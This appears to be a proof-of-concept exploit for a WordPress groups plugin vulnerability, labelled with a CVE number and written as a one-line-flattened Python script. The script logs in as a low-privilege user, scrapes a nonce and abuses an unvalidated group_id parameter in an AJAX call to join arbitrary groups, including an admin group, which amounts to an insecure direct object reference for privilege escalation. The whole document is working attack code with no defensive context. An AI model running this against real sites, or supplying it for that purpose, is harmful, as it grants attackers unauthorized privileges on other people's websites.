CVE-2025-11748

import requests import re target_url = "http://target-wordpress-site.com" username = "attacker" password = "password123" target_group_id = 1 # Target group ID to join (e.g., admin group) session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } response = session.post(login_url, data=login_data) # Step 2: Get WordPress nonce for groups_shortcode shortcode_page = f"{target_url}/sample-page/" # Page with groups_join shortcode page_content = session.get(shortcode_page).text nonce_match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', page_content) if nonce_match: wpnonce = nonce_match.group(1) # Step 3: Exploit IDOR - Register for arbitrary group exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { "action": "groups_join_group", "group_id": target_group_id, # IDOR: No validation on this parameter "_wpnonce": wpnonce } response = session.post(exploit_url, data=exploit_data) print(f"Response: {response.status_code}") print(response.text)

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